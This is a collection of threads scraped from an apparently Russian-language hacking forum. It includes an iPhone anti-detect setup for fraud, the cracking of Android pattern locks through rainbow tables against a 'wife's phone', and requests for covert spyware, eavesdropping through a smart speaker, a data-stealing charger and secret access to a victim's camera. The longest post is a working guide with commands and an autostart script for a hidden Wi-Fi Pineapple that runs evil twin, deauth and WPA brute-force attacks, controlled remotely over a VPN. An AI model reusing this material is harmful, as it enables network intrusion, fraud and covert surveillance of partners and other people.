Открываем Cydia, соглашаемся на обновление репозиториев, после этого в разделе Sources нажимаем Edit, далее Add и прописываем первый репозиторий http://repo.co.kr/ (A-Bypass), далее нажимаем MERONA Repo — All Packages — A-Bypass — Modify — Install, в конце установки A-bypass попросит перезагрузку девайса, соглашаемся.

9.png
A-bypass
5) После перезагрузки девайса нам необходимо будет повторить 3 пункт, так как наш джейл [полупривязанный.](https://it-here.ru/jailbreak/vse-vidy- dzhejlbrejka-neprivyazannyj-poluneprivyazannyj-poluprivyazannyj-i- privyazannyj/)

  1. Устанавливаем оставшиеся репозитории:
    ib-soft.net/cydia (CCleaner Pro)
    apt.tinyapps.cn/361 (361 MultiAccount)

10.png
cydia repo
Далее нажимаем Search и прописываем Apps Manager, находим апп — производим установку.

Наш рабочий стол должен выглядеть следующим образом

11.png
Desktop
iCleaner Pro — используется после вбива / отработки апп.
AppsManager — контейнер апп.
MultiAccount — смена отпечатков, версий iOS, GPS, GSM.

  1. Открываем MultiAccount, нажимаем License — Transfer money to our account manually, следуя инстуркции оплачиваем антик.

12.png
361
После оплаты Вам становится доступен весь функционал данного антика.
Имейте ввиду, что с некоторой периодичностью Вам придётся менять учетную запись AppStore (да, да, почти все аппки с которыми я работал обращаются к ней, а не к учётной записи iCloud )
Надеюсь, что данный материал кому-нибудь будет крайне полезен, всем добра!

майнер - чип на телефонах
ID: 676535aeb4103b69df3735b5
Thread ID: 98653
Created: 2023-09-23T11:31:34+0000
Last Post: 2023-09-24T18:21:43+0000
Author: bysev
Replies: 18 Views: 738

возможно ли вживить майнер или чип который считывает всю инфу с телефона, так чтоб и даже после сброса устройства того же айфона все работало ? и как это сделать..

Прослушка из яндекс станции
ID: 676535aeb4103b69df37359d
Thread ID: 103386
Created: 2023-12-02T17:01:14+0000
Last Post: 2023-12-03T11:13:25+0000
Author: nopm47
Replies: 5 Views: 738

Всем доброго времени суток!
Собственно такой вопрос возможно ли Яндекс станцию лайт (yndx-00025) превратить в прослушку?
Может возможно стримить с неё куда либо аудио поток или что бы она записывала и куда либо выгружала записи звука
Не прошу дать подробный мануал как это реализовать но хотя бы толкните в правильную сторону.
Из вводных:
Станция привязанна на акк другого человека естественно.
Привязать на свой не вариант
Добавлять свои номера в аккаунт что бы включить радионяню не вариант.
Разбирать и встраивать что либо не вариант.
Доступ к wifi в которой она находится есть
Физически воспользоваться станцией возможность есть.
Так же рядом стоят телевизор haier с гугл асистентом.
И есть RGB лента по потолку помещения с своим модулем управления с микрофоном которая подключается к приложению smartlife алиса может управлять этой лентой.
А так же робот пылесос xiaomi с камерой

Взлом графического ключа (старых андроидов)
ID: 676535aeb4103b69df37361c
Thread ID: 67302
Created: 2022-05-19T12:56:08+0000
Last Post: 2022-05-19T12:56:08+0000
Author: SenjorZeroday
Prefix: Мануал/Книга
Replies: 0 Views: 736

В данной работе показано как разгадать графический ключ пользователя устройства на базе Android. Данный способ предположительно работает только на телефонах с рут-правами. Статья основана на задаче, которая решалась в ходе онлайн CTF (Capture the Flag – захват флага, соревнования по компьютерной безопасности).

Краткое содержание

В настоящее время почти на всех смартфонах помимо традиционного пароля используется графический ключ. Для разблокировки устройства пользователь должен соединить точки на экране в определенной заданной им последовательности. Этот «новый подход к безопасности» позволяет избежать нежелательных нажатий и дополнить процедуру авторизации. Данное действие представляется довольно сложным и безопасным, что в корне неверно.

Если внимательней посмотреть на то, что такое графический ключ и как он работает, легко прийти к выводу, что это всего лишь матрица 3×3 с некоторыми встроенными условиями: узор, который рисует пользователь, должен состоять как минимум из четырех точек, каждую из которых можно использовать всего один раз. Поскольку размер матрицы всего 3×3, графический ключ может состоять максимум из 9 точек.

Изучение схемы графического ключа

Поле графического ключа 3×3 может быть выполнено в числовой форме (цифры). По факту точки зарегистрированы в порядке от 0 до 8 (начиная с 0 в верхнем левом углу и заканчивая 8 в нижнем правом):

![https://dc7495.org/aybbtu/uploads/2020/05/word- image-50.png](/proxy.php?image=https%3A%2F%2Fdc7495.org%2Faybbtu%2Fuploads%2F2020%2F05%2Fword- image-50.png&hash=36484a183afe67faa700a6c75d1b5e1d)

Последовательность, использованная на скриншоте выше: 1 – 2 – 5 – 8 – 7 – 4.

С точки зрения статистики, найти все комбинации между 0123 и 876543210 не так уж и сложно. Это даже не 0.2% из всех возможных девятизначных чисел. Мы должны получить примерно 895824 вариантов графических ключей.

Устройства на базе Android хранят данные графического ключа в формате незащищенной последовательности зашифрованных байт SHA-1. Вариант кода примерно похож на показанный ниже:

private static byte[] patternToHash(List pattern) { if (pattern == null) { return null; } final int patternSize = pattern.size(); byte[] res = new byte[patternSize]; for (int i = 0; i < patternSize; i++) { LockPatternView.Cell cell = pattern.get(i); res _= (byte) (cell.getRow() * 3 + cell.getColumn()); } try { MessageDigest md = MessageDigest.getInstance( "SHA-1"); byte[] hash = md.digest(res); return hash; } catch (NoSuchAlgorithmException nsa) { return res; }}

Untitled

Это значит, что вместо того, чтобы запоминать просто последовательность 125874 , в системном файле сохраняется «несоленый» байтовый массив с именем gest.key. Он хранится в папке /data/system.

Большую часть такой информации можно почерпнуть напрямую из java-файлов «Android с открытым исходным кодом» (документация AOSP).

** Generate an SHA-1 hash for the pattern. Not the most secure, but it is* at least a second level of protection. First level is that the file* is in a location only readable by the system process.* @param pattern the gesture pattern.* return the hash of the pattern in a byte array.*

(Для ключа генерируется хэш SHA-1. Это не самый надежный способ, но дающий как минимум второй уровень защиты. Под первым уровнем понимается то, что файл хранится в ячейке, которая считывается только системным процессом. @param формирует графический ключ.return – возврат хэша графического ключа в виде байтового массива).

Согласно данному куску кода наш пример графического ключа должен сохраняться в виде выражения 6c1d006e3e146d4ee8af5981b8d84e1fe9e38b6c

Возникает единственная проблема: SHA-1 – односторонняя криптографическая хэш- функция. Это значит, что мы не можем отделить обычный текст от хэшированного. Ввиду ограниченного числа возможных комбинаций ключа и того, что ОС Android не использует «соленый» хэш для создания словаря, содержащего все возможные хэши последовательностей от 0123 до 876543210, не потребуется много времени.

Решение проблем

У нас достаточно данных, чтобы проанализировать дамп файловой системы. Достаточно найти gesture.key и изучить его содержимое:

![https://dc7495.org/aybbtu/uploads/2020/05/https- mk0resourcesinfm536w-kinstacdn-com-wp- cont.png](/proxy.php?image=https%3A%2F%2Fdc7495.org%2Faybbtu%2Fuploads%2F2020%2F05%2Fhttps- mk0resourcesinfm536w-kinstacdn-com-wp- cont.png&hash=599a8b605f704491487bbb74f356ed8b)

Указанный файл открывается в любом текстовом или шестнадцатеричном редакторе:

![https://dc7495.org/aybbtu/uploads/2020/05/https- mk0resourcesinfm536w-kinstacdn-com-wp- cont-1.png](/proxy.php?image=https%3A%2F%2Fdc7495.org%2Faybbtu%2Fuploads%2F2020%2F05%2Fhttps- mk0resourcesinfm536w-kinstacdn-com-wp- cont-1.png&hash=30afba12b22116e8d7d13cb9aeab676a)

Последний шаг – сравниваем байты данного файла 2C3422D33FB9DD9CDE87657408E48F4E635713CB со значениями из готового словаря и находим хэш, позволяющий восстановить схему ключа.

Готовый словарь можно скачать по ссылке в конце статьи и открыть через любой SQLite-браузер. Воспользовавшись им, вы найдете схему оригинального графического ключа с помощью следующего запроса:

Select * from RainbowTable where hash = “2c3422d33fb9dd9cde87657408e48f4e635713cb”.

![https://dc7495.org/aybbtu/uploads/2020/05/https- mk0resourcesinfm536w-kinstacdn-com-wp- cont-2.png](/proxy.php?image=https%3A%2F%2Fdc7495.org%2Faybbtu%2Fuploads%2F2020%2F05%2Fhttps- mk0resourcesinfm536w-kinstacdn-com-wp- cont-2.png&hash=243b4f2ff33d143f8b43eb9d5daa20a7)

Получаем ключ для разблокировки «телефона жены».

![https://dc7495.org/aybbtu/uploads/2020/05/https- mk0resourcesinfm536w-kinstacdn-com-wp- cont-3.png](/proxy.php?image=https%3A%2F%2Fdc7495.org%2Faybbtu%2Fuploads%2F2020%2F05%2Fhttps- mk0resourcesinfm536w-kinstacdn-com-wp- cont-3.png&hash=9ffc01e00a3cd6f9dd6311e259230bd8)

Заключение

Взлом или обход данного вида защиты на Android не представляет никакой сложности. Единственная загвоздка в том, что мы не можем получить прямой доступ к /data/system/ и файлу gesture.key, если устройство незарутовано. Данный вариант хорош для забавы и удовлетворения любопытства, поскольку уже обладая доступом, вы можете просто удалить файл с хэшем SHA-1 или заменить его на свой. Кроме того, в большинстве случаев файлы блокировки не имеют никакой ценности с точки зрения форензики.

Ссылки:

_

NCR
ID: 676535aeb4103b69df3735a5
Thread ID: 98295
Created: 2023-09-18T07:54:51+0000
Last Post: 2023-11-13T10:12:46+0000
Author: DowJones
Replies: 2 Views: 736

Всем привет! Кто имел дело с банкоматами NCR, отпишите пожалуйста в ПМ

HackRF в 2023
ID: 676535aeb4103b69df3735e2
Thread ID: 86744
Created: 2023-04-26T20:30:07+0000
Last Post: 2023-05-12T21:13:07+0000
Author: icox
Replies: 6 Views: 730

Подскажите актуальность HackRF в 2023 году, если всё ещё актуально, был бы рад, если поделитесь где купить, цену, область применения, ну и возможно наглею, но мануальчиками))

Вопрос знающим в тематике сотовой связи
ID: 676535aeb4103b69df373603
Thread ID: 71279
Created: 2022-08-07T18:37:18+0000
Last Post: 2022-12-12T01:53:01+0000
Author: nX3
Prefix: GSM
Replies: 3 Views: 728

Ситуация следующего плана. Имеется абонент 1 и абонент 2. При звонке от первого к второму происходит следующее: у первого абонента вызов сразу сбрасывается (а-ля блэклист), а у второго вызов продолжается. Если второй абонент берет трубку спустя 3 секуды проходят сигналы такого вида. Проблема плавающая и от устройства не зависит. Вопрос, что это может быть, а то развивается паранойя =)

Подмена местоположения на Kali Linux
ID: 676535aeb4103b69df373572
Thread ID: 114796
Created: 2024-05-18T01:47:01+0000
Last Post: 2024-05-29T06:08:18+0000
Author: Crab_Bucket
Replies: 1 Views: 724

Подскажите как можно подделать местоположение GPS на Kali Linux ?

femtocell/nanocell
ID: 676535aeb4103b69df3735ee
Thread ID: 84382
Created: 2023-03-23T23:57:24+0000
Last Post: 2023-03-26T22:54:16+0000
Author: barklay
Prefix: GSM
Replies: 9 Views: 723

Всем привет. Лет 5 тому был бум и " проврывище в тезнологиях" -- микро БС которые через сип давали 3/4G в труднодоступных местах

Есть ли что то на сегодня взломанное? с кастомными прошивками может?

[Вопрос]generate fake spoofing lte sss signal
ID: 676535aeb4103b69df373565
Thread ID: 119725
Created: 2024-07-28T11:11:47+0000
Last Post: 2024-07-30T12:15:41+0000
Author: hits
Prefix: GSM
Replies: 1 Views: 718

Приветствую в мануале что прикрепленно,описанно что можно генерировать фэйковый сигнал sss(LTE downlink synchronization signals) вопрос как это можно реализовать через gnuradio,нашел проэкт gr-lte и matlab [Generating LTE Waveforms](https://www.mathworks.com/company/technical-articles/generating- lte-waveforms.html) , на руках есть пару hackrf one,подскажите куда копать или как реализовать и ряльно ли с hackrf сгенерить,или надо полнодюплексноый sdr ? буду рад любой помощи.

Программные и аппаратные трояны – способы внедрения и методы противодействия
ID: 676535aeb4103b69df3735b3
Thread ID: 98535
Created: 2023-09-21T10:56:50+0000
Last Post: 2023-10-10T13:31:28+0000
Author: Dread Pirate Roberts
Prefix: Мануал/Книга
Replies: 1 Views: 718

Программные и аппаратные трояны – способы внедрения и методы противодействия. Первая техническая энциклопедия

Author(s): Белоус А.И., Солодуха В.А., Шведов С.В.
Series: Мир электроники
Publisher: ТЕХНОСФЕРА, Year: 2019
ISBN: 9785948365244
Description:
Впервые в мировой научно-технической литературе в объеме одного комплексного издания последовательно и детально исследован феномен программных и аппаратных троянов, которые фактически являются технологической платформой современного и перспективного информационно-технического оружия (кибероружия). Материал энциклопедии представлен в виде 12 глав.
В первой вводной главе, обобщающей результаты анализа технических возможностей и ограничений современного оружия (атомного, космического, сейсмического, климатического, различных видов СВЧ-оружия), показано, что развитие всех «обычных» и «новейших» видов вооружений дошло до такой стадии, что их реальное использование на практике будет равносильно самоубийству начавшей войну стороны. Осознание этого факта привело к развитию информационно-технического оружия (кибероружия и нейрооружия).
В главе 2 детально исследованы концепции, методы, технические средства и примеры реализации этого вида оружия.
В главе 3 рассмотрены основные виды программных троянов, вирусов и шпионских программ, которые в «кибероперациях» обычно действуют солидарно, защищая и помогая друг другу.
В главе 4 наглядно показан эволюционный путь развития аппаратных троянов от «ящиков» и «коробочек» до микросхем, приведены примеры их применения в компьютерах, серверах, мобильных телефонах, автомобилях и даже в одежде и обуви человека.
В главах с 5-й по 9-ю детально рассмотрены основные типы троянов в микросхемах, принципы их проектирования и работы, способы внедрения, методы их маскировки, выявления в микросхемах, а также защиты и противодействия.
В главах с 10-й по 12-ю представлен детальный сравнительный ретроспективный анализ основ государственной политики в США и России в области обеспечения безопасности каналов поставки микросхем.
Книга ориентирована на широкий круг читателей: от инженеров, специалистов по информационной безопасности, чиновников министерств и ведомств до школьников и пенсионеров, активно использующих социальные сети.

часть 1
прямая ссылка: https://files.catbox.moe/3x61da.pdf
зеркала: https://ru.annas-archive.org/md5/b0dfc84bbea5766cd1ea8719e4925e39

часть 2
прямая ссылка: https://files.catbox.moe/qbg510.pdf
зеркала: https://ru.annas-archive.org/md5/c6ea8d22ef759ec0b9072928554bcb09

вопрос по поводу Juice-Jacking, или взлом телефона через зарядку.
ID: 676535aeb4103b69df373592
Thread ID: 104881
Created: 2023-12-30T18:33:45+0000
Last Post: 2024-01-12T20:21:49+0000
Author: moppolol
Replies: 5 Views: 717

Недавно узнал о возможности осуществить некий data transfer посредством самодельного устройства в виде зарядки для телефона.
Реализацию данной приблуды в сети не нашёл (возможно, плохо искал, чего не отрицаю.)
Если есть понимающие, просьба откликнуться!

Суть вопроса(ов):

  1. в какую сторону смотреть (RPi, Arduino, ESP)?
  2. есть ли вообще какие-либо готовые скрипты под это дело?
  3. как это реализуется на пальцах?
  4. есть ли примеры подобных вещей, но в " белых" целях.

Цель: По аналогии сделать полноценный стилл-девайс, который можно пихнуть другу/малодоверяемой девушке и т.п.

Жду ваших прекрасных ответов! Заранее спасибо!❤️

How to jam CCTV security cameras?
ID: 676535aeb4103b69df373584
Thread ID: 108853
Created: 2024-02-22T18:27:46+0000
Last Post: 2024-02-23T09:20:03+0000
Author: hack3rman
Replies: 6 Views: 710

Hello, i already have a wi-fi jammer for own purposes but now i'm interested in a CCTV security cameras jammer.
I have an idea that's about radio freqs or something.
Has any1 an idea what do i need? Such as a device or some scripts? Any github would be appreciated.
Got arduino boards , phone, external battery.

Идеи для "умного чехла" на смартфон
ID: 676535aeb4103b69df373595
Thread ID: 105048
Created: 2024-01-03T19:46:07+0000
Last Post: 2024-01-06T16:47:25+0000
Author: FellnLuv
Replies: 11 Views: 706

Давным-давно, на форуме промелькнула идея о создании "умного чехла" - устройства, которое выступает в качестве какого-либо дополнения к основному устройству(смартфону). Может подкините идеи для такого устройства или уже что- то реализованное?
Главные критерии девайса:
1. Простота сборки.
2. Стоимость устройства не превышает стоимости существующих аналогов(если имеются).
Будет плюсом если тематика устройства будет соответствовать тематике форума.
Ну а кого тема заинтересовала вот пару моих(нет) идей:
- устройство на базе esp nrf cc1101, для реализации различных атак на беспроводную связь(что-то типа Flipper Zero);
- портативный анализатор сигналов, но наверное такое устройство будет не очень

З.Ы. Возможно предложенные мной идеи бред, но это я так для разогрева написал, чтобы вы не стеснялись, писать ваши ахуеные идеи, всем спасибо!

Способы получения доступа к камере iphone
ID: 676535aeb4103b69df373631
Thread ID: 58597
Created: 2021-11-07T11:31:09+0000
Last Post: 2021-12-11T00:54:19+0000
Author: maloy
Prefix: GSM
Replies: 2 Views: 690

какие есть способы получения доступа к камере iphone? может какие-нибуль ратники, но не знаю ни одного под iphone может какие-нибудь устройтсва для заражения и получения доступа типо bad usb я имею физичиский контакт с жертвой помогите пожалуйста как можно получить достпу к её камере

Рут права
ID: 676535aeb4103b69df37354d
Thread ID: 124524
Created: 2024-10-10T18:21:00+0000
Last Post: 2024-10-11T06:42:41+0000
Author: Nasty - Krasty
Replies: 4 Views: 684

Всем привет, нужна хелпа, при установки рут прав вылезла шляпа эта , загрузчик разблокирован , в fastboot входит , че делать? one plus 8

Взлом посылочних боксов
ID: 676535aeb4103b69df3735c0
Thread ID: 95827
Created: 2023-08-16T19:22:18+0000
Last Post: 2023-08-27T09:36:04+0000
Author: dooo_dooo
Replies: 11 Views: 682

Интересно как ети бокси можно откривать, есть какието идеи по етому поводу?

Собираем и применяем свой Wi-Fi Pineapple
ID: 676535aeb4103b69df3735df
Thread ID: 88737
Created: 2023-05-23T21:16:28+0000
Last Post: 2023-05-23T21:16:28+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 676

В фильмах порой можно увидеть, как коварный хакер с помощью небольшого карманного устройства размером с мобильный телефон взламывает беспроводную сеть какой‑нибудь фирмы, проникает на ее серверы и крадет пароли. Сегодня мы превратимся в героя такого фильма и подробно разберем конструкцию устройства Pineapple, обладающего поистине фантастическими возможностями. Но самое главное — его можно собрать самостоятельно, и мы подробно расскажем как.

В предыдущих статьях рассматривались атаки, требующие прямого доступа к устройству. Теперь речь пойдет о других типах физических атак — по радиоканалу, то есть не требующих непосредственного контакта с целями. А значит, эти атаки еще опаснее и злоумышленник становится еще незаметнее. Ведь если физические атаки больше характерны для внутреннего нарушителя, прошедшего определенные рубежи контроля, то физические атаки с применением радиоволн используют внешние нарушители, которые, возможно, находятся где‑то на расстоянии и действуют через стены.

Тем не менее это не полноценные удаленные атаки, проводимые через интернет. Такие атаки также требуют от злоумышленника быть рядом с целями, только «рядом» здесь означает несколько десятков или сотен метров. Сегодня беспроводные сети широко распространены, и со временем отказ от проводов в пользу радиоинтерфейсов будет только набирать обороты. Главная причина — удобство. А в мире ИБ, как правило, что удобно, то небезопасно. Все беспроводное можно как минимум заглушить, если взломать не получается.

Технология Wi-Fi представляет для потенциального злоумышленника перспективную поверхность для атак. Эта технология распространена повсеместно, максимально доступна и в то же время достаточно разнообразна в плане известных атак, простоте их исполнения и степени воздействия.

Главная особенность атак как на Wi-Fi, так и на радиосвязь в целом — ограниченный радиус действия. Для Wi-Fi такое ограничение составляет 50–100 м. И далеко не всегда принимаемый сигнал позволяет злоумышленнику занять удобное место, чтобы расположиться с ноутбуком. А некоторые атаки и вовсе требуют, чтобы сигнал атакующего устройства был лучше, чем у легитимного источника. Однако злоумышленник может собрать особое устройство, которое позволит ему выполнять атаки везде, где необходимо, выглядя при этом не так подозрительно, как на следующей картинке.


Часто атаки на беспроводные сети зависят от обстоятельств (например, наличия клиентов), поэтому их успешность определяет еще и длительность. Однако есть возможность сделать автономное миниатюрное устройство и заранее запрограммировать его на совершение тех или иных атак или удаленно управлять им так, что злоумышленник не будет обнаружен рядом с объектом и даже не попадет под объективы видеокамер. Такой девайс можно незаметно подложить вблизи целей. Мы рассмотрим пример такого устройства. По сути, это аналог известного готового решения Pineapple — аппаратной платформы, которая реализует атаки на беспроводные сети.

Вообще, попытка проникновения «по воздуху» — это не просто атака «в лоб», которую легко можно заметить по характерному имени. Зачастую компании делают множество дополнительных беспроводных сетей для разных целей: гостевую, корпоративную, технологическую, сеть для VIP-клиентов и прочие. Не стоит забывать про тестовые и разнообразные несанкционированные беспроводные сети. Если компания имеет строгую политику безопасности и запрещает выход в интернет, то количество несанкционированных «самопальных» беспроводных сетей, раздаваемых самими сотрудниками, как правило, велико. Так что, если беспроводная инфраструктура похожа на описанную, для злоумышленника атаки на сети Wi-Fi такой компании имеют большие шансы на успех, хоть и связаны с обширным перечнем проверок.

РЕАЛИЗАЦИЯ​

Злоумышленнику вовсе не обязательно приобретать готовые дорогостоящие решения, он может собрать нужное устройство самостоятельно. На самом деле нет ничего сложного в том, чтобы в эру изобилия одноплатных компьютеров изготовить небольшое устройство, которое можно максимально гибко настраивать.

Основные требования к подобному устройству — миниатюрность, дешевизна, доступность компонентов и простота сборки. Наиболее удачным решением может быть Raspberry Pi Zero W — один из немногих широко известных одноплатных микрокомпьютеров, встроенный Wi-Fi-чип которого поддерживает режимы работы, необходимые для подавляющего количества атак. И в итоге можно перейти от того, что представлено на следующем рисунке, к чему‑то менее заметному.

Аппаратное решение для атак на беспроводные сети (приметное)

Аппаратное решение для атак на беспроводные сети (неприметное)
А насколько собственное решение может быть меньше готового, видно на следующем рисунке.

Почувствуйте разницу
Злоумышленник, конечно же, может пойти по пути наименьшего сопротивления и взять готовое решение. Но, учитывая то, что специфика атаки предполагает оставлять устройство в неконтролируемой зоне, оно становится в некоторой степени расходным материалом, причем весьма недешевым. К тому же миниатюрное устройство проще спрятать или даже поместить на дрон (об этом я расскажу в следующей статье). На мой взгляд, выбор под описываемые области применения тут очевиден: если устройство пропадет, злоумышленник просто купит еще один Raspberry и прошьет заготовленный образ на карту памяти, а не станет приобретать дорогое готовое решение и ждать, кого его доставят.

Raspberry, как и большинство других одноплатных компьютеров, может работать на пониженном напряжении, что позволяет использовать с ним популярные компактные аккумуляторы с напряжением 3,7 В. Такие аккумуляторы дешевле и меньше, чем powerbank, и их можно легко купить в специализированных магазинах. Заряжаются же они напряжением 5 В, которые можно взять от любого USB.

Правда, несмотря на то, что Raspberry Pi умеет работать от 3,3 В, внешние USB- устройства не получают при этом обещанные им USB-стандартом 5 В. Поэтому, если планируется использовать такие внешние USB-устройства, придется все‑таки поднять напряжение до 5 В через популярную плату DC-DC MT3608. В результате можно получить минимальную конфигурацию такого аппаратного решения, представленную на следующем рисунке.

Pineapple в собранном виде

Аккумулятор 3,7 В, расположенный снизу, через повышающую плату DC-DC MT3608 подает 5 В на второй и девятый пины GPIO. Также к преобразователю напряжения подпаян внешний Micro-USB для удобной зарядки аккумулятора и тумблер подачи питания от аккумулятора. Тем не менее у Raspberry есть два собственных USB- порта, значит, всегда есть возможность использовать обычный powerbank. Схема подключения к плате светодиодов, переключателей, а также подводки питания представлена на следующем рисунке.

Схема размещения на плате светодиодов, перемычек и питания
Использование дисплея может быть расточительно с точки зрения экономии аккумулятора, поэтому для индикации процесса лучше использовать три светодиода. Принцип управления поведением светодиодов описан в статье про BadUSB-ETH.

Для автоматического старта тех или иных сценариев задействовано шесть положений перемычек (их программная обработка описана ниже) и две точки подачи напряжения — 5 и 3,3 В. Также восьмой и десятый пины — это точки, на которых с помощью UART-переходника всегда можно открыть шелл на Pineapple-устройстве.

Теперь к самому главному — Wi-Fi-адаптеру. Режим монитора встроенной Wi-Fi- карты недоступен «из коробки», но возможен на специальной прошивке, и для его активации требуется собрать новое ядро:

Code:Copy to clipboard

wget -O re4son-kernel_current.tar.xz https://re4son-kernel.com/download/re4son-kernel-current/
tar -xJf re4son-kernel_current.tar.xz
cd re4son-kernel_4*
sudo ./install.sh

После долгой установки появится дополнительный файл прошивки для Wi-Fi-чипа, через который реализуется режим монитора:

Code:Copy to clipboard

md5sum /lib/firmware/brcm/brcmfmac43430-sdio.*
bae7f1ba1b64cb19bb0c5433a3940405  /lib/firmware/brcm/brcmfmac43430-sdio.bin.monitor
54f6af2776997cb1ee06edf2b93ab815  /lib/firmware/brcm/brcmfmac43430-sdio.bin.original

Чтобы переключиться между прошивками, можно перезагрузить драйвер и переименовать файл прошивки:

Code:Copy to clipboard

rmmod brcmfmac
cp brcmfmac43430-sdio.bin.original brcmfmac43430-sdio.bin
modprobe brcmfmac

Режим монитора активируется в стиле mac80211-стека:

Code:Copy to clipboard

iw phy0 interface add mon0 type monitor
ifconfig mon0 up
airodump-ng mon0

Возможность автономно выполнять самые популярные Wi-Fi-атаки теперь обеспечена. Тем не менее с Raspberry всегда можно использовать любой внешний Wi-Fi-адаптер и дополнительные антенны. Правда, неприметность от этого может пострадать. Сложные атаки не так просто автоматизировать. И потенциальному злоумышленнику может быть на руку удаленное управление таким девайсом.

Достаточно легко сделать так, чтобы подобный Pineapple был всегда доступен злоумышленнику при помощи любого 4G-модема. Современный 4G-модем реализуется как виртуальная сетевая карта (уже знакомая нам по статье о BadUSB-ETH), что максимально упрощает взаимодействие Pineapple с ним. Для этого достаточно активировать сетевой интерфейс модема:

/etc/network/interfaces​

Code:Copy to clipboard

allow-hotplug eth0
auto eth0
iface eth0 inet dhcp

Для удаленного доступа к Pineapple требуется настроить автозапуск VPN до сервера, используемого злоумышленником в качестве опорной точки:

Code:Copy to clipboard

cp your_vds.ovpn /etc/openvpn/client/vds.conf

Code:Copy to clipboard

systemctl enable openvpn-client@vds

Управлять непосредственно самим Pineapple проще всего по SSH:

Code:Copy to clipboard

systemctl enable ssh.service

Теперь злоумышленник может поместить такое устройство в любое место, где принимается сигнал атакуемых точек доступа или есть много потенциальных жертв для атак Evil Twin. При этом можно управлять Pineapple с ноутбука, сидя где‑нибудь в комфортном и безопасном месте.

Pineapple с удаленным доступом по 4G
Например, используя VPN-канал по 4G, злоумышленник может просто расшарить по сети беспроводной mon-интерфейс Pineapple и реализовывать все Wi-Fi-атаки со своего ноутбука:

Code:Copy to clipboard

pineapple> airserv-ng -p 1337 -d mon0
attacker> airodump-ng -c 1,6,11 pineapple:1337

Если 4G-канал недоступен, для настройки атак в автономном режиме всегда можно подключиться к плате и получить консоль через UART, как продемонстрировано на следующем рисунке.

Прямое подключение к Pineapple

Code:Copy to clipboard

sudo minicom -D /dev/ttyUSB0 -b 115200 --color=on

Далее уже в привычном шелле, работая с ОС девайса, можно выполнить тонкую настройку сценария атаки.

Зачастую в таком виде устройство завершает работу ОС некорректно, например если разрядился аккумулятор. Поэтому, чтобы на устройстве не пропали важные данные, рекомендуется отключить дисковый кеш:

/etc/fstab​

Code:Copy to clipboard

PARTUUID=067e19d7-02 / ext4 defaults,noatime,sync 0 1

Подключаться к плате по UART или 4G весьма удобно, но в некоторых случаях злоумышленнику может потребоваться сразу начать выполнять атаки. Быстро запустить предустановленные сценарии, ориентированные на широкий круг целей, позволит джампер (перемычка) на GPIO. Отслеживать положение джампера на программной стороне можно так:

/usr/local/bin/jmp​

Code:Copy to clipboard

#!/bin/bash
exit $(raspi-gpio get $1 | awk '{print $3}' | cut -d '=' -f 2)

Теперь, меняя положение джампера непосредственно перед включением Pineapple, злоумышленник указывает запуск, например, вектора Evil Twin или в другом положении — массовую деаутентификацию и сбор handshake (рукопожатия при аутентификации). Что и в каком случае использовать, задается в скрипте автозапуска:

/home/pi/startup.sh​

Code:Copy to clipboard

#!/bin/bash
function monitor_enable(){
  iw phy0 interface add mon0 type monitor
  ifconfig mon0 up
  ifconfig wlan0 up
}
raspi-gpio set 7 ip pu
raspi-gpio set 10 ip pu
raspi-gpio set 11 ip pu
raspi-gpio set 23 ip pu
raspi-gpio set 25 ip pu
raspi-gpio set 27 ip pu
cd /home/pi/
time=$(date +'%H:%M:%S_%d.%m.%Y')
led green on 2> /dev/null
led yellow on 2> /dev/null
led red on 2> /dev/null
sleep 1
led green off 2> /dev/null
led yellow off 2> /dev/null
led red off 2> /dev/null
if jmp 7; then
  echo "[*] wpa auth/deauth/online_brute attack (static/dynamic)"
  monitor_enable
  cd wpapsk
  screen -dmS wpapsk -t monitor -L -Logfile "$time-wpapsk-%n.log" ./monitor.sh -c 1,6,11
  #screen -r wpapsk -t deauth -X screen ./deauth.sh -b target.txt
  screen -r wpapsk -t brute-wpapsk -X screen ./brute-wpapsk.sh
  screen -r wpapsk -t auth -X screen ./auth.sh
  screen -r wpapsk -t brute-pmkid -X screen ./brute-pmkid.sh
  screen -r wpapsk -t online_brute -X screen ./wpa_brute.sh "Target Wi-Fi" passwords.txt 4
  #screen -r wpapsk -t online_brute -X screen './wpa_brute-width.sh 12345678 123456789 1234567890 password'
  cd -
elif jmp 11; then
  echo "[*] wps attack (static/dynamic)"
  cd wpapsk
  screen -dmS wpapsk -t wps -L -Logfile "$time-wps-%n.log" ./wps.sh "Target Wi-Fi"
  cd -
elif jmp 10; then
  echo "[*] roqueap/eviltwin attack (static)"
  #monitor_enable
  cd eviltwin
  ifconfig wlan0 10.0.0.1/24
  iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 80
  screen -dmS eviltwin -t hostapd -L -Logfile "$time-eviltwin-%n.log" ./hostapd.sh "Corp Wi-Fi" ""
  screen -r eviltwin -t dnsmasq -X screen ./dnsmasq.sh
  screen -r eviltwin -t captive -X screen ./captive.sh www/
  #screen -r eviltwin -t deauth -X screen ./deauth.sh -c 1,6,11
  cd -
elif jmp 23; then
  echo "[*] roqueap/honeypot (static)"
  cd honeypot
  ifconfig wlan0 10.0.0.1/24
  screen -dmS honeypot -t hostapd -L -Logfile "$time-honeypot-%n.log" ./hostapd.sh "Free Wi-Fi" ""
  screen -r honeypot -t dnsmasq -X screen ./dnsmasq.sh
  screen -r honeypot -t attack -X screen ./attack.sh
  cd -
elif jmp 25; then
  echo "[*] roqueap/eap (static)"
  cd eap
  screen -dmS eap -t hostapd-eaphammer -L -Logfile "$time-eap-%n.log" ./hostapd-eaphammer.sh "Target Wi-Fi"
  #screen -r eap -t deauth -X screen ./deauth.sh -c 1,6,11
  cd -
cd -

Ход и результаты атак сохраняются в соответствующие файлы на карте памяти Pineapple, с названием, отражающим тип, дату и время атаки. Этот скрипт следует лишь добавить в автозагрузку:

/etc/rc.local​

Code:Copy to clipboard

/bin/bash /home/pi/startup.sh &

В скрипте startup.sh тезисно описаны все атаки, которые рассматриваются в этой статье.

АТАКИ НА WI-FI​

При описании атак на Wi-Fi, да и радиоатак вообще, стоит сразу сделать оговорку, какие атаки целесообразны в исполнении Pineapple. Pineapple не единственный девайс, способный атаковать по радиоканалу, и часть атак я сознательно не рассматриваю в этой статье, так как некоторые из них разумнее проводить, например, с телефона.

